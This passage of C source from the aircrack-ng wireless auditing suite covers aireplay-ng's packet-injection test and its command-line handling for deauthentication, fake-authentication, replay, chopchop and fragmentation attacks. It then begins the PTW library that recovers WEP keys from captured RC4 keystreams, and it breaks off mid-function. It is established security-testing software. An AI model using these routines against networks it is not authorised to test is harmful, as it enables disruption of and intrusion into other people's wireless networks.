opt.f_tods = 0; opt.f_fromds = 0; opt.f_minlen = opt.f_maxlen = 24+4+132; } else if(i==3) //attack -3 { memcpy( h80211, NULL_DATA, 24); memcpy( h80211 + 4, opt.f_bssid, 6); memcpy( h80211 + 10, opt.f_smac, 6); memcpy( h80211 + 16, opt.f_dmac, 6); //iv+idx h80211[24] = 0x86; h80211[25] = 0xD8; h80211[26] = 0x2E; h80211[27] = 0x00; //random bytes (as encrypted data) for(j=0; j<132; j++) h80211[28+j] = rand() & 0xFF; opt.f_iswep = -1; opt.f_tods = 1; opt.f_fromds = 0; opt.f_minlen = opt.f_maxlen = 24+4+132; } else if(i==4) //attack -5 { memcpy( h80211, NULL_DATA, 24); memcpy( h80211 + 4, opt.f_bssid, 6); memcpy( h80211 + 10, opt.f_smac, 6); memcpy( h80211 + 16, opt.f_dmac, 6); h80211[1] |= 0x04; h80211[22] = 0x0A; h80211[23] = 0x00; //iv+idx h80211[24] = 0x86; h80211[25] = 0xD8; h80211[26] = 0x2E; h80211[27] = 0x00; //random bytes (as encrypted data) for(j=0; j<7; j++) h80211[28+j] = rand() & 0xFF; opt.f_iswep = -1; opt.f_tods = 1; opt.f_fromds = 0; opt.f_minlen = opt.f_maxlen = 24+4+7; } for(j=0; (j<(REQUESTS/4) && !k); j++) //try it 5 times { send_packet( h80211, opt.f_minlen ); gettimeofday( &tv, NULL ); while (1) //waiting for relayed packet { caplen = read_packet(packet, sizeof(packet), &ri); if ( filter_packet(packet, caplen) == 0 ) //got same length and same type { if(!answers) { answers++; } if(i == 0) //attack -0 { if( h80211[0] == packet[0] ) { k=1; break; } } else if(i==1) //attack -1 (open) { if( h80211[0] == packet[0] ) { k=1; break; } } else if(i==2) //attack -1 (psk) { if( h80211[0] == packet[0] && memcmp(h80211+24, packet+24, caplen-24) == 0 ) { k=1; break; } } else if(i==3) //attack -2/-3/-4/-6 { if( h80211[0] == packet[0] && memcmp(h80211+24, packet+24, caplen-24) == 0 ) { k=1; break; } } else if(i==4) //attack -5/-7 { if( h80211[0] == packet[0] && memcmp(h80211+24, packet+24, caplen-24) == 0 ) { if( (packet[1] & 0x04) && memcmp( h80211+22, packet+22, 2 ) == 0 ) { k=1; break; } } } } gettimeofday( &tv2, NULL ); if (((tv2.tv_sec*1000000 - tv.tv_sec*1000000) + (tv2.tv_usec - tv.tv_usec)) > (3*atime*1000)) //wait 3*'atime' ms for an answer { break; } usleep(10); } } if(k) { k=0; if(i==0) //attack -0 { PCT; printf("Attack -0: OK\n"); } else if(i==1) //attack -1 (open) { PCT; printf("Attack -1 (open): OK\n"); } else if(i==2) //attack -1 (psk) { PCT; printf("Attack -1 (psk): OK\n"); } else if(i==3) //attack -3 { PCT; printf("Attack -2/-3/-4/-6: OK\n"); } else if(i==4) //attack -5 { PCT; printf("Attack -5/-7: OK\n"); } } else { if(i==0) //attack -0 { PCT; printf("Attack -0: Failed\n"); } else if(i==1) //attack -1 (open) { PCT; printf("Attack -1 (open): Failed\n"); } else if(i==2) //attack -1 (psk) { PCT; printf("Attack -1 (psk): Failed\n"); } else if(i==3) //attack -3 { PCT; printf("Attack -2/-3/-4/-6: Failed\n"); } else if(i==4) //attack -5 { PCT; printf("Attack -5/-7: Failed\n"); } } } if(!gotit && answers) { PCT; printf("Injection is working!\n"); if(opt.fast) return 0; gotit=1; } } return 0; } int main( int argc, char *argv[] ) { int n, i, ret; /* check the arguments */ memset( &opt, 0, sizeof( opt ) ); memset( &dev, 0, sizeof( dev ) ); opt.f_type = -1; opt.f_subtype = -1; opt.f_minlen = -1; opt.f_maxlen = -1; opt.f_tods = -1; opt.f_fromds = -1; opt.f_iswep = -1; opt.ringbuffer = 8; opt.a_mode = -1; opt.r_fctrl = -1; opt.ghost = 0; opt.delay = 15; opt.bittest = 0; opt.fast = 0; opt.r_smac_set = 0; opt.npackets = 1; opt.nodetect = 0; opt.rtc = 1; opt.f_retry = 0; opt.reassoc = 0; /* XXX */ #if 0 #if defined(__FreeBSD__) /* check what is our FreeBSD version. injection works only on 7-CURRENT so abort if it's a lower version. */ if( __FreeBSD_version < 700000 ) { fprintf( stderr, "Aireplay-ng does not work on this " "release of FreeBSD.\n" ); exit( 1 ); } #endif #endif while( 1 ) { int option_index = 0; static struct option long_options[] = { {"deauth", 1, 0, '0'}, {"fakeauth", 1, 0, '1'}, {"interactive", 0, 0, '2'}, {"arpreplay", 0, 0, '3'}, {"chopchop", 0, 0, '4'}, {"fragment", 0, 0, '5'}, {"caffe-latte", 0, 0, '6'}, {"cfrag", 0, 0, '7'}, {"test", 0, 0, '9'}, {"help", 0, 0, 'H'}, {"fast", 0, 0, 'F'}, {"bittest", 0, 0, 'B'}, {"migmode", 0, 0, '8'}, {"ignore-negative-one", 0, &opt.ignore_negative_one, 1}, {0, 0, 0, 0 } }; int option = getopt_long( argc, argv, "b:d:s:m:n:u:v:t:T:f:g:w:x:p:a:c:h:e:ji:r:k:l:y:o:q:Q0:1:23456789HFBDR", long_options, &option_index ); if( option < 0 ) break; switch( option ) { case 0 : break; case ':' : printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); case '?' : printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); case 'b' : if( getmac( optarg, 1 ,opt.f_bssid ) != 0 ) { printf( "Invalid BSSID (AP MAC address).\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 'd' : if( getmac( optarg, 1, opt.f_dmac ) != 0 ) { printf( "Invalid destination MAC address.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 's' : if( getmac( optarg, 1, opt.f_smac ) != 0 ) { printf( "Invalid source MAC address.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 'm' : ret = sscanf( optarg, "%d", &opt.f_minlen ); if( opt.f_minlen < 0 || ret != 1 ) { printf( "Invalid minimum length filter. [>=0]\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 'n' : ret = sscanf( optarg, "%d", &opt.f_maxlen ); if( opt.f_maxlen < 0 || ret != 1 ) { printf( "Invalid maximum length filter. [>=0]\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 'u' : ret = sscanf( optarg, "%d", &opt.f_type ); if( opt.f_type < 0 || opt.f_type > 3 || ret != 1 ) { printf( "Invalid type filter. [0-3]\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 'v' : ret = sscanf( optarg, "%d", &opt.f_subtype ); if( opt.f_subtype < 0 || opt.f_subtype > 15 || ret != 1 ) { printf( "Invalid subtype filter. [0-15]\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 'T' : ret = sscanf(optarg, "%d", &opt.f_retry); if ((opt.f_retry < 1) || (opt.f_retry > 65535) || (ret != 1)) { printf("Invalid retry setting. [1-65535]\n"); printf("\"%s --help\" for help.\n", argv[0]); return(1); } break; case 't' : ret = sscanf( optarg, "%d", &opt.f_tods ); if(( opt.f_tods != 0 && opt.f_tods != 1 ) || ret != 1 ) { printf( "Invalid tods filter. [0,1]\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 'f' : ret = sscanf( optarg, "%d", &opt.f_fromds ); if(( opt.f_fromds != 0 && opt.f_fromds != 1 ) || ret != 1 ) { printf( "Invalid fromds filter. [0,1]\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 'w' : ret = sscanf( optarg, "%d", &opt.f_iswep ); if(( opt.f_iswep != 0 && opt.f_iswep != 1 ) || ret != 1 ) { printf( "Invalid wep filter. [0,1]\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 'x' : ret = sscanf( optarg, "%d", &opt.r_nbpps ); if( opt.r_nbpps < 1 || opt.r_nbpps > 1024 || ret != 1 ) { printf( "Invalid number of packets per second. [1-1024]\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 'o' : ret = sscanf( optarg, "%d", &opt.npackets ); if( opt.npackets < 0 || opt.npackets > 512 || ret != 1 ) { printf( "Invalid number of packets per burst. [0-512]\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 'q' : ret = sscanf( optarg, "%d", &opt.delay ); if( opt.delay < 1 || opt.delay > 600 || ret != 1 ) { printf( "Invalid number of seconds. [1-600]\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 'Q' : opt.reassoc = 1; break; case 'p' : ret = sscanf( optarg, "%x", &opt.r_fctrl ); if( opt.r_fctrl < 0 || opt.r_fctrl > 65535 || ret != 1 ) { printf( "Invalid frame control word. [0-65535]\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 'a' : if( getmac( optarg, 1, opt.r_bssid ) != 0 ) { printf( "Invalid AP MAC address.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 'c' : if( getmac( optarg, 1, opt.r_dmac ) != 0 ) { printf( "Invalid destination MAC address.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 'g' : ret = sscanf( optarg, "%d", &opt.ringbuffer ); if( opt.ringbuffer < 1 || ret != 1 ) { printf( "Invalid replay ring buffer size. [>=1]\n"); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 'h' : if( getmac( optarg, 1, opt.r_smac ) != 0 ) { printf( "Invalid source MAC address.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.r_smac_set=1; break; case 'e' : memset( opt.r_essid, 0, sizeof( opt.r_essid ) ); strncpy( opt.r_essid, optarg, sizeof( opt.r_essid ) - 1 ); break; case 'j' : opt.r_fromdsinj = 1; break; case 'D' : opt.nodetect = 1; break; case 'k' : inet_aton( optarg, (struct in_addr *) opt.r_dip ); break; case 'l' : inet_aton( optarg, (struct in_addr *) opt.r_sip ); break; case 'y' : if( opt.prga != NULL ) { printf( "PRGA file already specified.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } if( read_prga(&(opt.prga), optarg) != 0 ) { return( 1 ); } break; case 'i' : if( opt.s_face != NULL || opt.s_file ) { printf( "Packet source already specified.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.s_face = optarg; opt.port_in = get_ip_port(opt.s_face, opt.ip_in, sizeof(opt.ip_in)-1); break; case 'r' : if( opt.s_face != NULL || opt.s_file ) { printf( "Packet source already specified.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.s_file = optarg; break; case 'z' : opt.ghost = 1; break; case '0' : if( opt.a_mode != -1 ) { printf( "Attack mode already specified.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.a_mode = 0; for (i=0; optarg[i] != 0; i++) { if (isdigit((int)optarg[i]) == 0) break; } ret = sscanf( optarg, "%d", &opt.a_count ); if( opt.a_count < 0 || optarg[i] != 0 || ret != 1) { printf( "Invalid deauthentication count or missing value. [>=0]\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case '1' : if( opt.a_mode != -1 ) { printf( "Attack mode already specified.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.a_mode = 1; for (i=0; optarg[i] != 0; i++) { if (isdigit((int)optarg[i]) == 0) break; } ret = sscanf( optarg, "%d", &opt.a_delay ); if( opt.a_delay < 0 || optarg[i] != 0 || ret != 1) { printf( "Invalid reauthentication delay or missing value. [>=0]\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case '2' : if( opt.a_mode != -1 ) { printf( "Attack mode already specified.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.a_mode = 2; break; case '3' : if( opt.a_mode != -1 ) { printf( "Attack mode already specified.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.a_mode = 3; break; case '4' : if( opt.a_mode != -1 ) { printf( "Attack mode already specified.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.a_mode = 4; break; case '5' : if( opt.a_mode != -1 ) { printf( "Attack mode already specified.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.a_mode = 5; break; case '6' : if( opt.a_mode != -1 ) { printf( "Attack mode already specified.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.a_mode = 6; break; case '7' : if( opt.a_mode != -1 ) { printf( "Attack mode already specified.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.a_mode = 7; break; case '9' : if( opt.a_mode != -1 ) { printf( "Attack mode already specified.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.a_mode = 9; break; case '8' : if( opt.a_mode != -1 ) { printf( "Attack mode already specified.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.a_mode = 8; break; case 'F' : opt.fast = 1; break; case 'B' : opt.bittest = 1; break; case 'H' : printf( usage, getVersion("Aireplay-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC) ); return( 1 ); case 'R' : opt.rtc = 0; break; default : goto usage; } } if( argc - optind != 1 ) { if(argc == 1) { usage: printf( usage, getVersion("Aireplay-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC) ); } if( argc - optind == 0) { printf("No replay interface specified.\n"); } if(argc > 1) { printf("\"%s --help\" for help.\n", argv[0]); } return( 1 ); } if( opt.a_mode == -1 ) { printf( "Please specify an attack mode.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } if( (opt.f_minlen > 0 && opt.f_maxlen > 0) && opt.f_minlen > opt.f_maxlen ) { printf( "Invalid length filter (min(-m):%d > max(-n):%d).\n", opt.f_minlen, opt.f_maxlen ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } if ( opt.f_tods == 1 && opt.f_fromds == 1 ) { printf( "FromDS and ToDS bit are set: packet has to come from the AP and go to the AP\n" ); } dev.fd_rtc = -1; /* open the RTC device if necessary */ #if defined(__i386__) #if defined(linux) if( opt.a_mode > 1 ) { if( ( dev.fd_rtc = open( "/dev/rtc0", O_RDONLY ) ) < 0 ) { dev.fd_rtc = 0; } if( (dev.fd_rtc == 0) && ( ( dev.fd_rtc = open( "/dev/rtc", O_RDONLY ) ) < 0 ) ) { dev.fd_rtc = 0; } if(opt.rtc == 0) { dev.fd_rtc = -1; } if(dev.fd_rtc > 0) { if( ioctl( dev.fd_rtc, RTC_IRQP_SET, RTC_RESOLUTION ) < 0 ) { perror( "ioctl(RTC_IRQP_SET) failed" ); printf( "Make sure enhanced rtc device support is enabled in the kernel (module\n" "rtc, not genrtc) - also try 'echo 1024 >/proc/sys/dev/rtc/max-user-freq'.\n" ); close( dev.fd_rtc ); dev.fd_rtc = -1; } else { if( ioctl( dev.fd_rtc, RTC_PIE_ON, 0 ) < 0 ) { perror( "ioctl(RTC_PIE_ON) failed" ); close( dev.fd_rtc ); dev.fd_rtc = -1; } } } else { printf( "For information, no action required:" " Using gettimeofday() instead of /dev/rtc\n" ); dev.fd_rtc = -1; } } #endif /* linux */ #endif /* i386 */ opt.iface_out = argv[optind]; opt.port_out = get_ip_port(opt.iface_out, opt.ip_out, sizeof(opt.ip_out)-1); //don't open interface(s) when using test mode and airserv if( ! (opt.a_mode == 9 && opt.port_out >= 0 ) ) { /* open the replay interface */ _wi_out = wi_open(opt.iface_out); if (!_wi_out) return 1; dev.fd_out = wi_fd(_wi_out); /* open the packet source */ if( opt.s_face != NULL ) { //don't open interface(s) when using test mode and airserv if( ! (opt.a_mode == 9 && opt.port_in >= 0 ) ) { _wi_in = wi_open(opt.s_face); if (!_wi_in) return 1; dev.fd_in = wi_fd(_wi_in); wi_get_mac(_wi_in, dev.mac_in); } } else { _wi_in = _wi_out; dev.fd_in = dev.fd_out; /* XXX */ dev.arptype_in = dev.arptype_out; wi_get_mac(_wi_in, dev.mac_in); } wi_get_mac(_wi_out, dev.mac_out); } /* drop privileges */ if (setuid( getuid() ) == -1) { perror("setuid"); } /* XXX */ if( opt.r_nbpps == 0 ) { if( dev.is_wlanng || dev.is_hostap ) opt.r_nbpps = 200; else opt.r_nbpps = 500; } if( opt.s_file != NULL ) { if( ! ( dev.f_cap_in = fopen( opt.s_file, "rb" ) ) ) { perror( "open failed" ); return( 1 ); } n = sizeof( struct pcap_file_header ); if( fread( &dev.pfh_in, 1, n, dev.f_cap_in ) != (size_t) n ) { perror( "fread(pcap file header) failed" ); return( 1 ); } if( dev.pfh_in.magic != TCPDUMP_MAGIC && dev.pfh_in.magic != TCPDUMP_CIGAM ) { fprintf( stderr, "\"%s\" isn't a pcap file (expected " "TCPDUMP_MAGIC).\n", opt.s_file ); return( 1 ); } if( dev.pfh_in.magic == TCPDUMP_CIGAM ) SWAP32(dev.pfh_in.linktype); if( dev.pfh_in.linktype != LINKTYPE_IEEE802_11 && dev.pfh_in.linktype != LINKTYPE_PRISM_HEADER && dev.pfh_in.linktype != LINKTYPE_RADIOTAP_HDR && dev.pfh_in.linktype != LINKTYPE_PPI_HDR ) { fprintf( stderr, "Wrong linktype from pcap file header " "(expected LINKTYPE_IEEE802_11) -\n" "this doesn't look like a regular 802.11 " "capture.\n" ); return( 1 ); } } //if there is no -h given, use default hardware mac if( maccmp( opt.r_smac, NULL_MAC) == 0 ) { memcpy( opt.r_smac, dev.mac_out, 6); if(opt.a_mode != 0 && opt.a_mode != 4 && opt.a_mode != 9) { printf("No source MAC (-h) specified. Using the device MAC (%02X:%02X:%02X:%02X:%02X:%02X)\n", dev.mac_out[0], dev.mac_out[1], dev.mac_out[2], dev.mac_out[3], dev.mac_out[4], dev.mac_out[5]); } } if( maccmp( opt.r_smac, dev.mac_out) != 0 && maccmp( opt.r_smac, NULL_MAC) != 0) { // if( dev.is_madwifi && opt.a_mode == 5 ) printf("For --fragment to work on madwifi[-ng], set the interface MAC according to (-h)!\n"); fprintf( stderr, "The interface MAC (%02X:%02X:%02X:%02X:%02X:%02X)" " doesn't match the specified MAC (-h).\n" "\tifconfig %s hw ether %02X:%02X:%02X:%02X:%02X:%02X\n", dev.mac_out[0], dev.mac_out[1], dev.mac_out[2], dev.mac_out[3], dev.mac_out[4], dev.mac_out[5], opt.iface_out, opt.r_smac[0], opt.r_smac[1], opt.r_smac[2], opt.r_smac[3], opt.r_smac[4], opt.r_smac[5] ); } switch( opt.a_mode ) { case 0 : return( do_attack_deauth() ); case 1 : return( do_attack_fake_auth() ); case 2 : return( do_attack_interactive() ); case 3 : return( do_attack_arp_resend() ); case 4 : return( do_attack_chopchop() ); case 5 : return( do_attack_fragment() ); case 6 : return( do_attack_caffe_latte() ); case 7 : return( do_attack_cfrag() ); case 8 : return( do_attack_migmode() ); case 9 : return( do_attack_test() ); default: break; } /* that's all, folks */ return( 0 ); } aircrack-ng-1.2-beta3/src/aircrack-ptw-lib.c0000644000000000000000000005277212274054261017335 0ustar rootroot/* * Copyright (c) 2007, 2008, 2009 Erik Tews, Andrei Pychkine and Ralf-Philipp Weinmann. * 2013 Ramiro Polla * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * * In addition, as a special exception, the copyright holders give * permission to link the code of portions of this program with the * OpenSSL library under certain conditions as described in each * individual source file, and distribute linked combinations * including the two. * You must obey the GNU General Public License in all respects * for all of the code used other than OpenSSL. * If you modify * file(s) with this exception, you may extend this exception to your * version of the file(s), but you are not obligated to do so. * If you * do not wish to do so, delete this exception statement from your * version. * If you delete this exception statement from all source * files in the program, then also delete it here. */ #include #include #include #include #include "pcap.h" #include "aircrack-ptw-lib.h" #include "aircrack-ng.h" #define n PTW_n #define CONTROLSESSIONS PTW_CONTROLSESSIONS #define KSBYTES PTW_KSBYTES #define IVBYTES PTW_IVBYTES #define TESTBYTES 6 // Internal state of rc4 typedef struct { uint32_t s[n]; uint8_t i; uint8_t j; } rc4state; // Helper structures for sorting typedef struct { int keybyte; uint8_t value; int distance; } sorthelper; typedef struct { int keybyte; double difference; } doublesorthelper; // The rc4 initial state, the idendity permutation static const uint32_t rc4initial[] = {0,1,2,3,4,5,6,7,8,9,10, 11,12,13,14,15,16,17,18,19,20, 21,22,23,24,25,26,27,28,29,30, 31,32,33,34,35,36,37,38,39,40, 41,42,43,44,45,46,47,48,49,50, 51,52,53,54,55,56,57,58,59,60, 61,62,63,64,65,66,67,68,69,70, 71,72,73,74,75,76,77,78,79,80, 81,82,83,84,85,86,87,88,89,90, 91,92,93,94,95,96,97,98,99,100, 101,102,103,104,105,106,107,108,109,110, 111,112,113,114,115,116,117,118,119,120, 121,122,123,124,125,126,127,128,129,130, 131,132,133,134,135,136,137,138,139,140, 141,142,143,144,145,146,147,148,149,150, 151,152,153,154,155,156,157,158,159,160, 161,162,163,164,165,166,167,168,169,170, 171,172,173,174,175,176,177,178,179,180, 181,182,183,184,185,186,187,188,189,190, 191,192,193,194,195,196,197,198,199,200, 201,202,203,204,205,206,207,208,209,210, 211,212,213,214,215,216,217,218,219,220, 221,222,223,224,225,226,227,228,229,230, 231,232,233,234,235,236,237,238,239,240, 241,242,243,244,245,246,247,248,249,250, 251,252,253,254,255}; // Values for p_correct_i static const double eval[] = { 0.00534392069257663, 0.00531787585068872, 0.00531345769225911, 0.00528812219217898, 0.00525997750378221, 0.00522647312237696, 0.00519132541143668, 0.0051477139367225, 0.00510438884847959, 0.00505484662057323, 0.00500502783556246, 0.00495094196451801, 0.0048983441590402}; int tried, max_tries; int depth[KEYHSBYTES]; PTW_tableentry keytable[KEYHSBYTES][n]; // For sorting static int compare(const void * ina, const void * inb) { PTW_tableentry * a = (PTW_tableentry * )ina; PTW_tableentry * b = (PTW_tableentry * )inb; return b->votes - a->votes; } // For sorting static int comparedoublesorthelper(const void * ina, const void * inb) { doublesorthelper * a = (doublesorthelper * )ina; doublesorthelper * b = (doublesorthelper * )inb; if (a->difference > b->difference) { return 1; } else if (a->difference == b->difference) { return 0; } else { return -1; } } #if defined(__amd64) && defined(__SSE2__) static const uint32_t __attribute__((used)) __attribute__((aligned (16))) x0123 [4] = { 0, 1, 2, 3 }; static const uint32_t __attribute__((used)) __attribute__((aligned (16))) x4444 [4] = { 4, 4, 4, 4 }; static int rc4test_amd64_sse2(uint8_t *key, int keylen, uint8_t *iv, uint8_t *keystream) { int idx, i, j; int scratch1, scratch2; __asm__ volatile( #define state "%%rsp" #define keybuf "0x400(%%rsp)" #define keystream_ "0x428(%%rsp)" // setup stack "movq %%rsp, %q0 \n\t" "subq $0x430, %%rsp \n\t" "andq $-16, %%rsp \n\t" "movq %q0, -8(%%rsp) \n\t" // save keystream variable "movq %q6, "keystream_" \n\t" // keylen += IVBYTES "addl $3, %k4 \n\t" // memcpy(keybuf, iv, IVBYTES); "movl (%q5), %k1 \n\t" "movl %k1 , "keybuf" \n\t" // memcpy(&keybuf[IVBYTES], key, keylen); "movdqa (%q3), %%xmm0 \n\t" "cmpl $16, %k4 \n\t" "movdqu %%xmm0, 3+"keybuf" \n\t" "jng .Lsmall_key1 \n\t" "movdqa 16(%q3), %%xmm1 \n\t" "movdqu %%xmm1,19+"keybuf" \n\t" ".Lsmall_key1: \n\t" // key = keybuf "lea "keybuf", %q3 \n\t" // load xmm registers "movdqa %q9, %%xmm0 \n\t" "movdqa %q10, %%xmm1 \n\t" // clear some registers "xorq %q0, %q0 \n\t" // idx "xorq %q1, %q1 \n\t" // i "xorq %q2, %q2 \n\t" // j // build identity array ".p2align 4 \n\t" ".Lidentity_loop: \n\t" "movdqa %%xmm0, ("state",%q1,4)\n\t" "addb $4, %b1 \n\t" "paddd %%xmm1, %%xmm0 \n\t" "jnc .Lidentity_loop \n\t" // load state into register "movq "state", %q1 \n\t" // %q4 = and mask for idx "movq %q4, %q8 \n\t" "cmpq $16, %q8 \n\t" "movq $15, %q4 \n\t" "je .Lsmall_key2 \n\t" "shrq $1, %q4 \n\t" ".Lsmall_key2: \n\t" // init array with key ".p2align 4 \n\t" ".init_loop: \n\t" "movl %k0, %k8 \n\t" /* scratch2 = idx */ "movl (%q1), %k5 \n\t" /* s1 = state[i] */ "leal 1(%q0,1), %k0 \n\t" /* idx++ */ "movzbl (%q3,%q8,1), %k6 \n\t" /* key_n = key[scratch2] */ "leal (%q5,%q6,1), %k8 \n\t" /* scratch2 = s1 + key_n */ "addl %k8, %k2 \n\t" /* j += scratch2 */ "andl %k4, %k0 \n\t" /* idx &= mask */ "movzbl %b2, %k8 \n\t" /* scratch2 = j */ "movl ("state",%q8,4), %k7 \n\t" /* s2 = state[scratch2] */ "movl %k7, (%q1) \n\t" /* state[i] = s2 */ "addq $4, %q1 \n\t" /* i++ */ "movl %k5, ("state",%q8,4) \n\t" /* state[scratch2] = s1 */ "cmpq %q1, %q3 \n\t" /* state == &state[0x100] */ "jne .init_loop \n\t" // restore keystream variable "movq "keystream_", %q6 \n\t" // clear some registers "xorq %q2, %q2 \n\t" // j = 0 "xorq %q0, %q0 \n\t" // result #define RC4TEST_LOOP(offset) \ "movl 4*"offset"("state"), %k5\n\t" /* s1 = state[i] */ \ "leal (%q5,%q2,1), %k4 \n\t" /* */ \ "movzbl %b4, %k2 \n\t" /* j += s1 */ \ "movl ("state",%q2,4), %k1 \n\t" /* s2 = state[j] */ \ "movl %k1, 4*"offset"("state")\n\t" /* state[i] = s2 */ \ "movl %k5, ("state",%q2,4) \n\t" /* state[j] = s1 */ \ "addb %b1, %b5 \n\t" /* s1 += s2; */ \ "movb ("state",%q5,4), %b3 \n\t" /* ret = state[s1] */ \ "cmpb %b3, "offset"-1(%q6) \n\t" /* ret == keystream[i-1] */ \ "jne .ret \n\t" RC4TEST_LOOP("1") RC4TEST_LOOP("2") RC4TEST_LOOP("3") RC4TEST_LOOP("4") RC4TEST_LOOP("5") RC4TEST_LOOP("6") #undef RC4TEST_LOOP "addb $1, %b0 \n\t" ".ret: \n\t" // restore stack "movq -8(%%rsp), %%rsp \n\t" : "=&r"(idx), "=&r"(i), "=&r"(j), "+r"(key), "+r"(keylen), "+r"(iv), "+r"(keystream), "=&r"(scratch1), "=&r"(scratch2) : "m"(x0123[0]), "m"(x4444[0]) : "xmm0", "xmm1" ); #undef state #undef keybuf #undef keystream_ return idx; } #endif // RC4 key setup static void rc4init ( uint8_t * key, int keylen, rc4state * state) { int i; unsigned char j; uint8_t tmp; int idx = 0; memcpy(state->s, &rc4initial, sizeof(rc4initial)); j = 0; for (i = 0; i < n; i++) { /* this should be: j = (j + state->s[i] + key[i % keylen]) % n; but as "j" is declared as unsigned char and n equals 256, we can "optimize" it */ j = (j + state->s[i] + key[idx]); if (++idx == keylen) idx = 0; tmp = state->s[i]; state->s[i] = state->s[j]; state->s[j] = tmp; } state->i = 0; state->j = 0; } // RC4 key stream generation static uint8_t rc4update(rc4state * state) { uint8_t tmp; uint8_t k; state->i++; state->j += state->s[state->i]; tmp = state->s[state->i]; state->s[state->i] = state->s[state->j]; state->s[state->j] = tmp; k = state->s[state->i] + state->s[state->j]; return state->s[k]; } static int rc4test(uint8_t *key, int keylen, uint8_t *iv, uint8_t *keystream) { uint8_t keybuf[PTW_KSBYTES]; rc4state rc4state; int j; memcpy(&keybuf[IVBYTES], key, keylen); memcpy(keybuf, iv, IVBYTES); rc4init(keybuf, keylen+IVBYTES, &rc4state); for (j = 0; j < TESTBYTES; j++) { if ((rc4update(&rc4state) ^ keystream[j]) != 0) { return 0; } } return 1; } // For sorting static int comparesorthelper(const void * ina, const void * inb) { sorthelper * a = (sorthelper * ) ina; sorthelper * b = (sorthelper * ) inb; return a->distance - b->distance; } /* * Guess the values for sigma_i * ivlen - how long was the iv (is used differently in original klein attack) * iv - IV which was used for this packet * keystream - keystream recovered * result - buffer for the values of sigma_i * kb - how many keybytes should be guessed */ static void guesskeybytes(int ivlen, uint8_t * iv, uint8_t * keystream, uint8_t * result, int kb) { uint32_t state[n]; uint8_t j = 0; uint8_t tmp; int i; int jj = ivlen; uint8_t ii; uint8_t s = 0; memcpy(state, &rc4initial, sizeof(rc4initial)); for (i = 0; i < ivlen; i++) { j += state[i] + iv[i]; tmp = state[i]; state[i] = state[j]; state[j] = tmp; } for (i = 0; i < kb; i++) { tmp = jj - keystream[jj-1]; ii = 0; while(tmp != state[ii]) { ii++; } s += state[jj]; ii -= (j+s); result[i] = ii; jj++; } return; } /* * Is a guessed key correct? */ static int correct(PTW_attackstate * state, uint8_t * key, int keylen) { int i; int k; // We need at least 3 sessions to be somehow certain if (state->sessions_collected < 3) { return 0; } tried++; k = rand()%(state->sessions_collected-10); for ( i=k; i < k+10; i++) { if (!state->rc4test(key, keylen, state->sessions[i].iv, state->sessions[i].keystream)) return 0; } return 1; } /* * Calculate the squaresum of the errors for both distributions */ static void getdrv(PTW_tableentry orgtable[][n], int keylen, double * normal, double * ausreiser) { int i,j; int numvotes = 0; double e; double e2; double emax; double help = 0.0; double maxhelp = 0; double maxi = 0; for (i = 0; i < n; i++) { numvotes += orgtable[0][i].votes; } e = numvotes/n; for (i = 0; i < keylen; i++) { emax = eval[i] * numvotes; e2 = ((1.0 - eval[i])/255.0) * numvotes; normal[i] = 0; ausreiser[i] = 0; maxhelp = 0; maxi = 0; for (j = 0; j < n; j++) { if (orgtable[i][j].votes > maxhelp) { maxhelp = orgtable[i][j].votes; maxi = j; } } for (j = 0; j < n; j++) { if (j == maxi) { help = 